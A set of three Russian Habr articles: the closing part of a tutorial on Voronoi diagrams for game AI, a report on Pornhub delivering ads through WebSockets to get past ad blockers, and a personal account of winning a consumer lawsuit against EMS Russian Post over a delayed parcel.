Красные рёбра обозначают ближайшие контакты с башнями. Оранжевым обозначены более дальние; жёлтым ещё более дальние, и, наконец, зелёные — самые безопасные. После выполнения A\* с этими весами мы получим следующий путь:
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/854/72e/ae3/85472eae3f21727c4aadfe6e2d4163ed.jpg)
При таком использовании весов будет выбран не *самый быстрый*, а *самый безопасный* путь, что нам и нужно. ИИ следует придерживаться этого пути и не отклоняться от него!
Можно сделать ещё один шаг, чтобы *гарантировать* безопасный путь: устранить все рёбра, находящиеся ближе, чем минимальное безопасное расстояние. Например, если каждая сторожевая башня имеет радиус видимости 30 единиц, то все рёбра, расстояние до точек которых меньше, можно будет удалить из графа и не обходить их.
Также можно использовать этот метод для поиска самого широкого маршрута для крупных юнитов, неспособных проходить через узкие места. У каждого ребра есть расстояние между двумя точками, поэтому мы знаем, смогут ли они пройти в этом пространстве.
Можно совершить и обратную операцию — использовать триангуляцию Делоне диаграммы, и получить линии, идущие от каждой сторожевой башни. ИИ охранников сможет быстро определять, какие другие башни находятся поблизости и при необходимости направиться к ним на помощь.
---
Поиск плотно расположенный набор предметов
------------------------------------------
Допустим, нам нужно сбросить с самолёта посылку с кошачьей мятой для кучи сидящих на земле котиков. Куда лучше всего её сбросить, чтобы ею воспользовалось наибольшее количество кошек? Это может оказаться чрезвычайно затратными расчётами. Но, к счастью, мы можем сделать обоснованное предположение при помощи триангуляции Делоне.
**Подсказка:** не забывайте, что триангуляция Делоне — это просто инверсия диаграммы Вороного. Она образована соединением каждой точки Вороного с соседними точкаи, полученными из списка рёбер.
Получив эту коллекцию треугольников, можно исследовать площадь, покрываемую каждым из треугольников. Если мы найдём треугольник с наименьшей площадью, тогда у нас есть три ближайшие точки, или кошки. Это может и не быть самое плотное в среднем скопление на поверхности, но станет неплохим предположением. Если бы мы могли сбрасывать несколько посылок с мятой, то просто пометили бы уже выбранные треугольники и перешли бы к следующим по увеличению размера.
Обозначение таких областей также называется *описанными окружностями* триангуляции Делоне. Каждая окружность — это наибольшая окружность, которая может поместиться в точках треугольника. Вот изображение описанных окружностей для диаграммы Вороного:
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/e96/176/069/e96176069d2be2556c43483ea43c297f.jpg)
Можно использовать точный центр окружностей для определения центра области сброса посылки с кошачьей мятой. На самом деле радиус окружности — это более подходящий способ для определения наилучшего треугольника для сброса вместо площади треугольника, особенно если две точки треугольника очень близки друг к другу, а третья находится далеко; тогда получается очень острый треугольник с малой площадью, но определяющие его точки на самом деле очень далеко друг от друга.
---
Реализация диаграмм Вороного
----------------------------
Существует несколько способов генерации диаграмм Вороного, и выбор используемой методики зависит от времени, в которое мы получаем данные.
### Алгоритм Форчуна
Самый быстрый способ называется [алгоритмом Форчуна](http://en.wikipedia.org/wiki/Fortune%27s_algorithm). Он выполняется за `O(n log(n))` и требует, чтобы все точки, используемые для генерации графа, были известны на момент начала генерации. Если позже вы будете добавлять новые точки, то придётся заново генерировать весь граф. Если точек мало, то это может и не вызывать проблем, но если их у вас 100 тысяч, то это может занять много времени!
Реализация этого алгоритма нетривиальна. Необходимо пересекать параболы и учитывать особые случаи. Однако это самый быстрый метод. К счастью, существует множество реализации этого алгоритма с открытым кодом, которые можно использовать, и я привёл ссылки на них ниже.
Давайте посмотрим, как он работает.
Алгоритм заключается в скольжении линии (вертикальной или горизонтальной) по области с точками. Когда он встречает точку, то начинает рисовать из неё параболу, которая продолжается заметающей линией. Вот анимация этого процесса:
![](https://habrastorage.org/getpro/habr/post_images/275/dd5/e7b/275dd5e7b349677ce90353a2265cdfbc.gif)
Пересекающиеся параболы образуют рёбра Вороного. Но почему параболы?
Чтобы понять это, представьте каждую точку как содержащую надувной шар, который раздувается, пока не столкнётся с другим шаром. Можно перенести эту идею на окружности, расширяющиеся на 2D-плоскости. Мы сделаем ещё один шар вперёд и разместим в каждой точке перевёрнутый конус с углом наклона 45 градусов, увеличивающийся до бесконечности. Затем представим заметающую прямую в виде линии, тоже под 45 градусов, которая скользит вдоль, пока не столкнётся с конусами. Так как плоскость и конусы расположены под одним углом, при пересечении они образуют параболы.
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/08d/c72/10f/08dc7210fe8d7a078dd389c9be6ced12.jpg)
Увеличиваясь вверх, конусы рано или поздно пересекутся с одним или несколькими другими конусами. Если мы взглянем на места пересечения конусов, или окружностей, то получим прямые линии рёбер Вороного. На рисунке красной линией обозначено место пересечения конусов. Если конусы будут расти ещё дальше (вертикально вверх в бесконечность), то красная линия будет продолжать растягиваться.
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/b0f/b43/7f1/b0fb437f1d95b9773f3c554336cfe1db.jpg)
Когда плоскость скользит и происходит первый контакт с конусом, получившаяся линия будет такой:
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/68e/134/96a/68e13496a2d98c84ad6da32be5dabc15.jpg)
При дальнейшем движении плоскости по конусам мы увидим, как образуются параболы:
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/0b6/1ba/04a/0b61ba04af4c8f93e475d88f76bb408d.jpg)
Плоскость продолжает двигаться по сцене. Для каждой встреченной точки она исследует соседние точки на заметающей линии, уже имеющие параболы и начинает новую параболу в этой точке. Она продолжает двигаться дальше и расти, пока эта новая парабола не начнёт накладываться не на ту, на которую накладывалась раньше. Затем эта предыдущая парабола закрывается. Это точка, в которой встречаются линии Вороного трёх точек.
Как сказано выше, это довольно сложно понять, поэтому вот ссылки на реализации с открытым кодом, которые можно использовать и изучать:
* Java на GitHub. Авторы: Benny Kjær Nielsen и Allan Odgaard <https://github.com/sorbits/visual-fortune-algorithm/tree/master>
* Python на GitHub: <https://github.com/MikkoJo/Voronoi>. Автор: Mikko Johansson
* Подробная реализация алгоритма Форчуна: <http://blog.ivank.net/fortunes-algorithm-and-implementation.html>
### Инкрементная вставка треугольников
Другой метод заключается в инкрементной вставке по одной точке за раз, начиная с базового треугольника из трёх точек за пределами возможной области всех других точек. Этот метод выполняется с `O(n^2)` и не требует наличия всех точек на момент генерации.
При вставке новой точки она определяет существующую область, в которую она попадает. Эта область затем подразделяется и создаются новые области.
Вот пример с открытым исходным кодом для использования и изучения:
* Исходник на Java. Автор: [Paul Chew](http://www.cs.cornell.edu/Info/People/chew/chew.html). Для свободного использования. [Скачать ZIP-файл](https://cdn.tutsplus.com/gamedev/uploads/2013/10/VoronoiSourceCodeJava60.zip). Источник: <http://www.cs.cornell.edu/home/chew/Delaunay.html>
---
Заключение
----------
Теперь вы должны представлять, что могут дать диаграммы Вороного вашей игре и её ИИ. При наличии правильно структурированного графа узлов и рёбер можно запрашивать важную информацию, чтобы все получили свои аптечки, кошачью мяту и пробрались мимо вражеских башен. | https://habr.com/ru/post/460813/ | null | ru | null |
# Pornhub обходит блокировщики рекламы с помощью вебсокетов
![](https://habrastorage.org/r/w780q1/files/f75/4ab/3aa/f754ab3aae4d4bdab0c40bc5fcf81e4d.jpg)
Инженер из компании [BugReplay](https://www.bugreplay.com/) нашёл отличный способ продемонстрировать, как работает его сервис скринкаста с записью сетевого трафика и демонстрацией ошибок, в том числе WebSockets и JavaScript. Он записал [скринкаст загрузки Pornhub](https://app.bugreplay.com/shared/report/938a04d2-546c-42e9-87d2-ec4f0f7a792f#/view) с отображением лога трафика, который синхронизирован с видео. Так вот, на этой демонстрации отлично видно, каким образом Pornhub обходит блокировщики рекламы и пропихивает рекламу с помощью вебсокетов.
Pornhub работает очень грамотно. Когда вы заходите на сайт, он проверяет наличие блокировщика. Если такой обнаружен, то сайт открывает новое соединение WebSocket, которое действует в качестве *резервного механизма доставки рекламы*.
На [скринкасте с сетевым логом](https://app.bugreplay.com/shared/report/938a04d2-546c-42e9-87d2-ec4f0f7a792f#/view) можно увидеть множество запросов, которые заблокировал uBlock Origin. Они помечены как **Failed** в сетевом трафике.
```
http://cdn1b.static.pornhub.phncdn.com/www-static/js/ph-tracking.js?cache=2016102525
GET Failed
https://media.trafficjunky.net/js/holiday-promo.js
GET Failed
http://www.google-analytics.com/analytics.js
GET Failed
http://ss.phncdn.com/iframe-1.1.3.html
GET Failed
http://ss.phncdn.com/iframe-1.1.3.html
GET Failed
http://engine.phn.doublepimp.com/Tag.engine?time=240&id=7129f320-ce21-4b40-9d7e-37b1df8cf8f0&rand=25334&ver=async&referrerUrl=&fingerPrint=123&abr=false&stdTime=-300&fpe=3&bw=1262&bh=636&res=1280x800
GET Failed
http://electosake.com/240/7129f320-ce21-4b40-9d7e-37b1df8cf8f0/82615/asynch/null/123/null/true/-300/3/1262/636/Tag.a1b
GET Failed
https://www.etahub.com/trackn?app_id=971&product_name=2&category=connectTime&action=other&label=&value=116
GET Failed
https://www.etahub.com/trackn?app_id=971&product_name=2&category=ttfb&action=other&label=&value=799
GET Failed
https://www.etahub.com/trackn?app_id=971&product_name=2&category=redirectTime&action=other&label=&value=0
GET Failed
https://www.etahub.com/trackn?app_id=971&product_name=2&category=domInteractive&action=other&label=&value=1659
GET Failed
https://www.etahub.com/trackn?app_id=971&product_name=2&category=domComplete&action=other&label=&value=1829
GET Failed
https://www.etahub.com/trackn?app_id=971&product_name=2&category=domContentLoadedEventEnd&action=other&label=&value=1710
GET Failed
https://www.etahub.com/trackn?app_id=971&product_name=2&category=loadEventEnd&action=other&label=&value=1850
GET Failed
```
При нажатии на запрос отображаются подробности. Причина блокировки: `net::ERR_BLOCKED_BY_CLIENT`. Такая ошибка возникает, [когда блокировщик рекламы в браузере](http://stackoverflow.com/questions/23341765/getting-neterr-blocked-by-client-error-on-some-ajax-calls) блокирует некоторые Ajax-вызовы (по крайней мере, в Chrome всё работает именно так).
Сразу после сообщения об ошибке в логе мы видим [запрос на создание вебсокета и фреймов](https://app.bugreplay.com/shared/report/938a04d2-546c-42e9-87d2-ec4f0f7a792f#/view/request/54669.311/general?t=5), на который в итоге получен положительный ответ.
```
ws://ws.adspayformy.site./nsoj
webSocketCreate
ws://ws.adspayformy.site./nsoj
webSocketFrameSent
ws://ws.adspayformy.site./nsoj
webSocketFrameReceived
```
Словно извиняясь перед пользователями, Pornhub использует для создания вебсокета домен adspayformy.site. Шутка явно нацелена на тех, кто использует блокировщики рекламы.
После загрузки вебсокета создаётся фрейм, [куда загружается закодированный JSON-контент](https://app.bugreplay.com/shared/report/938a04d2-546c-42e9-87d2-ec4f0f7a792f#/view/request/54669.311.webSocketFrameReceived.0/general?t=5) для каждого места на странице, где должен быть рекламный баннер.
```
{
"zone_id": 32,
"link": "http://cp.pleasedontslaymy.download/_z/eyJj...In19",
"media_type": "image",
"media_encoding": 0,
"img_data": "/9j/4QA.....Wh+n//2Q==",
"img_type": "image/jpeg"
}
```
В данном случае указан `zone_id` 32, который указывает на место для внедрения рекламы. Обычно туда вставляется видео, но в данном примере это графический баннер, что указано в `media_type`. Контент кодируется в base64 и восстанавливается в браузере в соответствии со схемой [data: URL](https://ru.wikipedia.org/wiki/Data:_URL) (или data: URI), которая поддерживается практически всеми современными браузерами. На и затем в эту схему передаются данные помеченные как `image/jpeg`.
Блокировщики рекламы обычно отслеживают вебсокеты, поэтому кодирование данных в base64 – тоже грамотный шаг.
Разумеется, после раскрытия грязных методов Pornhub долго музыка играть не будет. Уже 25 октября один из разработчиков в сообществе Chromium под ником pkalinnikov [предложил патч](https://bugs.chromium.org/p/chromium/issues/detail?id=129353#c77), с помощью которого в браузере появится возможность блокировать вебсокеты через [webRequest API](https://bugs.chromium.org/p/chromium/issues/detail?id=129353). Если патч примут, то блокировщики рекламы смогут спокойно реализовать нормальный способ блокировки таких хаков в Chrome, ну а владельцам Pornhub придётся искать новые трюки в вечной борьбе с блокировщиками, которая [никогда не прекратится](https://geektimes.ru/post/267536/).
После выхода [публикации](http://blog.bugreplay.com/post/152579164219/pornhubdodgesadblockersusingwebsockets) от разработчика BugReplay выяснилось, что некоторые блокировщики рекламы научились блокировать вебсокеты вроде тех, что использует Pornhub. По крайней мере, вебсокет уже не пролазит через uBlock Origin ([соответствующий тикет](https://github.com/gorhill/uBlock/issues/1936)) и AdBlock Plus ([тикет](https://issues.adblockplus.org/ticket/1727)). А вот блокировщик AdBlock и некоторые другие пока не обновились.
История с «багом» Chrome webRequest API, который не позволяет перехватывать запросы WebSocket ([тикет 129353](https://bugs.chromium.org/p/chromium/issues/detail?id=129353#c58)) очень интересная. Этот тикет открыт ещё в мае 2012 года. И до сих пор остаётся открытым. Обсуждение продолжалось очень долго. Пользователи жаловались в обсуждении, что из-за невозможности блокировать вебсокеты сайты могут относительно просто обходить блокировщики рекламы. Ведь если блокировщик не отслеживает вебсокеты через стандартные API, то для блокировки такой рекламы нужно искать очень трудные обходные пути. В первое время это была чисто теоретическая проблема. Вроде бы в 2012 году ни один сайт не использовал такие методы обхода блокировщиков рекламы, да и сами блокировщики были в то время не настолько популярны, как сейчас.
Ситуация изменилась в 2015 и 2016 году. Сейчас Pornhub не единственный сайт, который додумался до такого хака. Что самое интересное, в обсуждении тикета в Chromium в августе 2016 года [выступил один из разработчиков](https://bugs.chromium.org/p/chromium/issues/detail?id=129353#c58). Он убедительно объяснял, что блокировщики рекламы пытаются переписывать содержимое вебсокетов — и это реально угрожает безопасности пользователей, потому что ломает базовую функциональность Javascript. То есть внедрять этот патч — значит, жертвовать безопасностью. Всё бы ничего, но этот разработчик [routeh...@gmail.com](https://bugs.chromium.org/u/3552224858/) работает в компании MindGeek, которой принадлежит и сайт Pornhub, и рекламная сеть By Traffic Junky, которая поставляет туда рекламу. Кстати говоря, аналогичные трюки по обходу блокировщиков рекламы действуют не только на Pornhub, но и на других сайтах компании MindGeek.
Похоже на то, что в порнокомпаниях работают довольно продвинутые программисты. Как известно из истории, именно порноиндустрия часто двигала вперёд технологический прогресс. Оказывается, и сейчас они кое в чём опережают всех остальных. Хотя бы в самых инновационных методах обхода блокировщиков рекламы. Правда, в том же обсуждении в трекере Chomium [сообщали](https://bugs.chromium.org/p/chromium/issues/detail?id=129353#c57), что трюк с вебсокетами применяют и некоторые другие рекламные сети, упоминалась некая сеть RevDefender.
Пожелаем удачи товарищу [pkalinnikov](https://bugs.chromium.org/u/2917096638/), чтобы его [патч](https://codereview.chromium.org/2449913002/) приняли в кодовую базу Chromium. Судя по всему, это один из ведущих разработчиков Chromium, так что положимся на его авторитет. | https://habr.com/ru/post/314354/ | null | ru | null |
# Как я выиграл суд с EMS Почта России
Как я выиграл суд с **EMS**.
Итак, как было обещано в вопросе [habrahabr.ru/qa/19545](http://habrahabr.ru/qa/19545/), я публикую свой опыт по подаче иска к «**EMS – Почта России**», который завершился положительно для меня. Впрочем, обо всем по порядку.
**Big Update** — сегодня, 6.03.2013 получил деньги. Кафкианский процесс завершен. Ура!
**UPD** Получил на руки исполнительный лист, теперь думаю что с ним делать. Stay tuned.
**UPD 1** Отправил исполнительный лист заказным письмом в Тропарево-Никулинский ОСП г.Москвы. По результатам отпишусь.
**UPD 2** Исполнительный лист в Тропарево-Никулинском ОСП г.Москвы с 24 августа. Пока исполнять не торопятся.
**UPD 2** После запроса в прокуратуру ответили, что исполнительное производство начато 29 августа 2012 года. Жду выплаты денег.
18 февраля 2012 года я приобрел в магазине Amazon.com читалку Amazon Kindle по минимальной цене в $79 и оформил доставку через известного посредника (его наименование можете прочитать в тексте иска), деньги на счет посредника вносил со своей Visa Electron, выпущенной Сбербанком, через систему RBKMoney. 28 февраля 2012 года посылка (EC645539026US) уехала в Россию, на импорте была 4 марта 2012 года, таможню прошла 5 марта 2012 года, немного зависла до 8 марта 2012 года и 16 марта 2012 года приехала в мой город, где я получил её в тот же день (в треке ошибка).
Итого, посылка путешествовала по России **13 дней**. Какая мелочь, скажете вы – ведь был канун праздника 8 марта, когда вся таможня оказалась завалена цветами (писали на форумах мои коллеги-ждуны). Догадки про аврал на таможне подтвердились после грустного заявления **ЕМС** «E**MS Russian Post** информирует о замедлении в доставке в связи с ажиотажным спросом на услуги экспресс-оператора и большим количеством отправлений» [emspost.ru/ru/news/?objid=31684c8e-098b-4ef1-bdf8-078d1cc192fb](http://emspost.ru/ru/news/?objid=31684c8e-098b-4ef1-bdf8-078d1cc192fb) ЕМС приносит извинения, но ни о какой компенсации речи не идет.
А сколько вообще должно идти отправление **ЕМС** после импорта? В поисках ответа я много раз звонил в «горячую линию **ЕМС**», читал форумы, и единственный вывод – зарубежное отправление ЕМС после импорта идет ровно столько, сколько идет отправление **ЕМС** из города Москвы, за вычетом задержек на таможенное оформление. Значит, идем в раздел Тарифы и сроки — Контрольные сроки и скачиваем документ «Москва и Санкт-Петербург» [emspost.ru/files/52bdcb49-65d2-456f-b7e8-eaa1347e6118.rar](http://emspost.ru/files/52bdcb49-65d2-456f-b7e8-eaa1347e6118.rar) По этому документу, **ЕМС**-предельные сроки доставки отправления в город Бийск, Алтайского края составляют 6 дней. Значит, просрочка контрольного срока прохождения посылки составила 13-1-6=6 дней.
Несмотря на это, мириться даже с такой задержкой я не стал, ибо за доставку было заплачено $48 за 550 грамм массы. (Уточню, что умный посредник увеличил массу посылки от 170 грамм – амазоновская упаковка – до солидных 550 грамм с коробкой и наполнителем). Я взял на вооружение документ «приложение № 1 к приказу ФГУП «**Почта России**» от 14.01.2008 № 1-п «о порядке выплаты возмещений пользователям услугами международной и внутренней экспресс-почты **EMS**» в котором говорится, что я имею право на возврат 100(ста) процентов тарифа за пересылку при нарушении контрольных сроков свыше пяти дней. Пообщавшись с посредником и попросив совета, я получил от него два документа: «отказ от возмещения в пользу получателя, составленный в связи с нарушением сроков доставки, и копию таможенной декларации на Вашу посылку» с советом составить заявление на возмещение.
19 марта 2012 года я взял бланк «Заявление на выплату возмещения» [emspost.ru/files/a630f47e-be69-4f33-8717-3f11c662ffaa.pdf](http://emspost.ru/files/a630f47e-be69-4f33-8717-3f11c662ffaa.pdf), приложил к нему документы от посредника, пошел в почтовое отделение, где получал посылку (можно ли в любое, не знаю), отдал заявление оператору и позаботился, чтобы дали квиток с датой и подписью. Девушка-оператор грустно сказала мне, что все заявления отправляют в Москву и рассматриваться оно будет «месяц, или даже два». Рассудив, что терять мне нечего, я согласился ждать. Напомню, претензии по отправлению **ЕМС** принимаются в течении 6 месяцев после получения.
Но долго ждать мне не пришлось. Уже 21 марта 2012 года мне приходит ответ на мое заявление, почему-то за подписью начальника центрального почтамта моего города ([Приложение 7](http://habrastorage.org/storage2/4af/c3d/6b6/4afc3d6b6bd911e7e5aad0673bdfaa63.jpg)). Почта пишет откровенный бред о том, что вообще никакие выплаты по международным отправлениям **ЕМС** они не производят – явная неправда. На данном этапе появились первые сомнения, имею ли я право на какую-либо компенсацию и одновременно жгучее желание добиться правды. Надо сказать, что по «горячей линии **ЕМС**» милые девушки-операторы про компенсацию говорили туманно и неясно. С их слов было непонятно, отправитель или же получатель имеет право требовать возмещение за задержку; после ответа начальника почтамта девушки с «горячей линии **ЕМС**» мне больше ничем помочь не смогли.
27 марта я пишу [письмо](https://docs.google.com/open?id=0B6ruV24IahNAY0QyZV9fSmNiLUU) надежды директору **ЕМС-Почта России** (119454, г. Москва, пр. Вернадского, д. 18, тогда директор был Чичельницкий, теперь Тимофеев), к которому прикладываю копию таможенной декларации и отказ от возмещения в пользу получателя (65932248001785). Это письмо **Почта России** потеряла, и вот уже второй месяц они его ищут по моему письменному запросу. Sad, but true.
Параллельно я писал запросы по электронной почте во все известные мне инстанции.
Вот некоторые ответы
От Client@russianpost.ru
`Уважаемый Михаил Николаевич!
Ваше обращение относится к услугам экспресс-почты EMS. По данному вопросу Вам необходимо обращаться на электронный адрес request@emspost.ru
**ФГУП "Почта России"**`
От request@emspost.ru
`Уважаемый Михаил Николаевич, добрый день.
Российская сторона, как доставляющий оператор, несет ответственность перед стороной подачи за соблюдение контрольных сроков доставки с момента поступления отправления на территорию РФ. Относительно нарушений при доставке входящих международных почтовых отправлений **EMS** сообщаем, что согласно положениям Всемирной почтовой конвенции, а также п. 4 статьи 128 Регламента Типового соглашения EMKS, оператор **EMS**, который несет ответственность, выплачивает возмещение убытков и почтовых сборов отправителя. Расчет компенсаций в зависимости от характера нарушения, определяется отправляющим оператором (ПА страны подачи) в рамках заключенного им договора с отправителем в соответствии с законодательством страны подачи.
Выплата возмещения за нарушение контрольных сроков доставки отправлений для получателя не предусмотрена, компенсация может быть выплачена только отправителю.
Заявление на выплату возмещения подается отправителем в стране подачи отправления.`
Как видно, здесь пишут тоже самое, что написала начальник почтового отделения.
Некоторая надежда оставалась на [**Роскомназор**](http://www.rsoc.ru/treatments/ask-question/) и на [**Россвяяяяязь**](http://www.rossvyaz.ru/treatments/feedback/). Ну что же, рассказываем им о сложившейся ситуации и просим ответить не бумажной почтой, а по электронной почте. Забегая вперед, скажу что от Россвязи ответ пришел за день до визита в суд, в **Роскомнадзор** попросил подождать два месяца до 24 мая 2012 года.
**Россвязь** пишет
![](https://habrastorage.org/r/w780q1/storage2/593/e9f/bac/593e9fbac0e12837a71e0baa515cee83.jpg)
Ну что же, пора идти в суд. Для меня это было первым опытом такого рода, поэтому я решил подготовиться. Все-таки, обращения по почте это одно, в суровый суд – совсем другое.
Черпаю вдохновение в чудесном посте «Работаем с **EMS** по нарушению сроков доставки посылок — инструкция» [habrahabr.ru/post/134231](http://habrahabr.ru/post/134231/).К сожалению, автор [LittleTOXA](https://megamozg.ru/users/littletoxa/) не ответил на мои вопросы, но я на него не в обиде.
После гуглежа нахожу прекрасный прецедент Павла Суходоева «Я выиграл суд против Почты России за международное отправление» [habrahabr.ru/post/108343/#habracut](http://habrahabr.ru/post/108343/#habracut)
Павел судился не с **ЕМС**, а с обычной почтой из-за задержки посылки и выиграл суд. Основной иск составлен благодаря его посту, спасибо ему.
А я расскажу, как найти своего мирового судью, как составить и подать иск.
Сначала определимся, к какому судье будем направлять иск, для этого идем на [msudrf.ru/index.php?id=300&searchtype=ms](http://msudrf.ru/index.php?id=300&searchtype=ms), выбираем свой федеральный округ, город и улицу. Получаем сайт вашего судебного участка, в моем случае это [biysk8.alt.msudrf.ru](http://biysk8.alt.msudrf.ru/)
В разделе «**Как нас найти**» будет искомый адрес.
Составляем иск, где описываем в понятном, человеческом виде все наши приключения, без фамильярностей типа «гражданин судья» или прочих просторечий, стараемся, чтобы наш текст был понятен, и обязательно излагаем сумму своих претензий и ее обоснование со ссылками на нормативные акты; также не забываем указать свое ФИО и полный почтовый адрес. Копий/сканов паспорта на данном этапе не требуется, только два экземпляра иска и 2 копии всех документов.
[Иск v 0.1](https://dl.dropbox.com/sh/0ropsjp1vfnv2c6/53rHCBrPSf/Request.rtf?dl=1)
[Копия на google.docs](https://docs.google.com/open?id=0B6ruV24IahNAV0pFaWhwWXJ2dE0)
9 апреля я иду в ближайшее почтовое отделение и отправляю иск заказным письмом. Можно отправить с уведомлением о вручении, можно без него, но на заказное все равно дадут трек для отслеживания. Адресат в письме – ФИО судьи, я подписал еще «мировому судье участка №ХХХ».
Все! Теперь остается только ждать. Как я понимаю, основная сложность для людей на данном этапе – незнание, что иск можно отправить по почте, и суд будет обязан его рассмотреть. Да, можно принести лично, но прием всего 1 час в неделю плюс неудобное время. Поэтому отправка почтой оптимальна, по городу ничего потерять не должны. Также не пугайтесь пошлины – в моем случае для иска о защите прав потребителей я освобождаюсь от её оплаты.
11 апреля 2012 года версию 0.1 иска успешно вручили, через несколько дней я позвонил и поинтересовался, приняли ли иск. Добрая тетя-секретарь уточнила мой адрес и сказала что я очень невнимательный молодой человек, потому что забыл указать его в иске. Итак, 17 апреля 2012 года приходит ответ от суда, что иск оставляется без движения и дают срок до 27 апреля исправить неточности. Мои неточности были таковы:
* Не сделал копию всех документов. Т.е. копию иска сделал, а документы прочие привел в 1 экземпляре, а нужно в двух (суду + ответчику). Суд за вас копии делать не будет, запомните это!
* Не указал в иске свой почтовый адрес. Самый жестокая ошибка, я рассчитывал, что суд возьмет его с обратного адреса письма. Не повторяйте ошибки, пишите его в начале иска.
* Не указал цену иска (нет, указал, просто суд его не увидел). На всякий случай я пишу длинное обоснование и еще раз подчеркиваю цену. Без цены иска его у вас не примут однозначно!
Изменения до версии 0.2 отражены в [ходатайстве](https://dl.dropbox.com/sh/0ropsjp1vfnv2c6/5aYS5kkcsN/Hod.rtf?dl=1), [копия](https://docs.google.com/open?id=0B6ruV24IahNAT2d3a3h5RVVTUjQ), которое я отправил 20 апреля 2012 года и которое дошло 23 апреля 2012 года. Через некоторое время пришел ответ, что иск принят, начато гражданское дело, заседание состоится 16 мая 2012 года, приложена повестка.
Определение о принятии искового заявления к производству и подготовке дела к судебному разбирательству.
![](https://habrastorage.org/r/w780q1/storage2/bb0/9ca/371/bb09ca3713eaa748669e228469b02015.jpg)
![](https://habrastorage.org/r/w780q1/storage2/446/c2a/205/446c2a20501e2fbbc47abaaedc5d4e43.jpg)
На этом этапе я понял, что все серьезно, что суд будет, и затраты мои составили 60 р на 2 письма.
Итак, 16 мая 2012 года, 10.00. Беру с собой оригиналы документов (оригинал это хорошо сказано, у меня это ответ начальника почтамта и выписка счета карты из Сбербанка), остальные документы были в электронном виде, поэтому просто распечатываю их. Также беру копию иска.
Итак, что из себя представляет суд. Вы приходите к назначенному времени в кабинет указанный в повестке и ждете пока вас пригласят. Меня пригласили, секретарь предложила мне ознакомиться с отзывом ответчика (т.е. **Почты России**). Да, забыл сказать, что ответчиком назначили краевое управление Почты России, хоть формально **ЕМС** и **Почта России** это разные юр. лица.
Ответчик пишет
![](https://habrastorage.org/r/w780q1/storage2/136/a4a/a5e/136a4aa5edc736ee0e018e16782b0311.jpg) ![](https://habrastorage.org/r/w780q1/storage2/caf/abc/e15/cafabce157ad08862c22ec6657a94bad.jpg)
В целом его ответ можно рассмотреть как последнюю попытку убрать ответственность от себя. Признается факт задержки, но далее болезненный бред. Здесь я подумал, что все плохо – и такие мысли не раз меня посещали.
Далее, томительные минуты ожидание в коридоре, и секретарь приглашает меня в комнату заседаний. Там сидит судья в мантии и знакомится с вашим делом. Сразу же мне было предложено рассмотреть дело в отсутствии ответчика (они просили рассмотреть без него), судья уточнила, не отказываюсь ли я от своих требований и пошли уточняющие вопросы – посылка, что за посылка, как я считал контрольные сроки прохождения отправления. Потом мы вместе считали на пальцах дни прохождения посылки, и мне предоставили слово. Я сказал, что ни в коем случае не согласен с позицией Почты и уверен, что после получения посылки требовать компенсацию может и получатель. (и это чистейшая правда). Слова свои я поддерживал ссылками на законы, которые написаны в иске. Судья не слишком придиралась к деталям, **основное внимание было на срок доставки**.
Затем судья ознакомилась с документами, выписка со счета карты для оплаты ее не заинтересовала. Здесь мне дали возможность приложить к иску ответ **Россвязи**, где было зафиксировано замедление в прохождении посылки. Судья очень заинтересовалась этим документом, наверно потому что он с большой печатью и подписью.
Еще с судьей посмеялись над тем, что **Почта России** не хотела быть ответчиком, говоря о том, что ЕМС это абсолютно другое лицо. Но тут суд без меня проявил благовидность и назначил ответчиком таки Почту России.
Затем зачитаны мои исковые требования в рублях, я произношу магическую фразу про исковые требования (не волнуйтесь, судья вам подскажет) и судья удаляется в совещательную комнату для принятия решения, меня отправляют курить в коридор.
15 минут, секретарь приглашает меня в комнату и судья стоя зачитывает «Именем Российской федерации» выплатить тариф за доставку в размере 1413.45р — $48 по курсу посредника, 100р неустойки, 300р морального вреда, остальные требования оставить без удовлетворения (я просил 230р неустойки и 500р морального вреда). Также **Почту России** обязали заплатить пошлину 600 р и штраф (?!) 906 рублей в пользу государства. Дается месяц на обжалование решения с обоих сторон. Все, я победил!
![](https://habrastorage.org/r/w780q1/storage2/3ca/964/187/3ca9641870e8af23b975bcf825bb9bd1.jpg)
![](https://habrastorage.org/r/w780q1/storage2/f12/b05/9fc/f12b059fc9626901aa07bd31dd5c60eb.jpg)
![](https://habrastorage.org/r/w780q1/storage2/1c8/36a/e1b/1c836ae1ba52a430b33d2d29058df4c2.jpg)
![](https://habrastorage.org/r/w780q1/storage2/334/e13/458/334e1345870fd681983d8d28f8248a50.jpg)
Я решил написать о своей победе сейчас, а не ожидая месяц, пока решение вступит в силу. Если за этот месяц будут обжалования, я конечно расскажу о них (а сегодня секретарь суда намекнула мне, что **Почта России** очень удивилась решению и скорее всего будут обжаловать). Для меня важна принципиальная победа, моя уверенность в том, что суд признал мою правоту. На мой взгляд, главным был документ от **Россвязи** с признанием факта задержки, плюс мои логические заключения о контрольных сроках на основании документов **ЕМС**.
Я доказал, что контрольный срок доставки посылок, приходящих из-за рубежа, считается со дня импорта, за исключением дней на таможенное оформление; что контрольные сроки пересылки **ЕМС** отправления из г.Москва в регионы **ЕМС** придумало не зря; и самое главное – компенсацию за задержки в прохождении имеет право спрашивать получатель! И не с почты США, а с нашей родной и милой сердцу Почты России.
Надо сказать, что уже перед судом, 12 мая 2012 года, на сайте ЕМС появилась злая новость Задержка, утрата или повреждение **EMS**-отправлений из США [emspost.ru/ru/news/?objid=d7acc16e-7d83-4c1d-ac01-dcf8857429ff](http://emspost.ru/ru/news/?objid=d7acc16e-7d83-4c1d-ac01-dcf8857429ff) в котором **ЕМС** пишет: `Запросы, поступающие от получателей отправлений в России, а также от Почтовой Администрации страны назначения (от Почты России и **EMS Russian Post**, в частности), не рассматриваются.`
Я был готов к тому, что ответчик от **Почты России** сошлется на эту новость (заметьте, это новость, а не закон) и суд на этом основании признает меня неправым. Знайте, что эта новость — **ЛОЖЬ**. Это наглая и безответственная ложь людей, наживающихся на наших с вами посылках, и не признающих ответственности за них. Эту новость можно понимать так – пожалуйста, судитесь, мы вам ничего платить не будем.
Я не знаю, как бы подобный суд прошел в других регионах РФ, не обжалуют ли мое решение, но я уверен, что несколько таких судов во всех регионах страны помогут Почте России поумерить жадность и наглость.
На вопросы с удовольствием отвечу в комментариях и в личке, благодарю за внимание.
Приложения
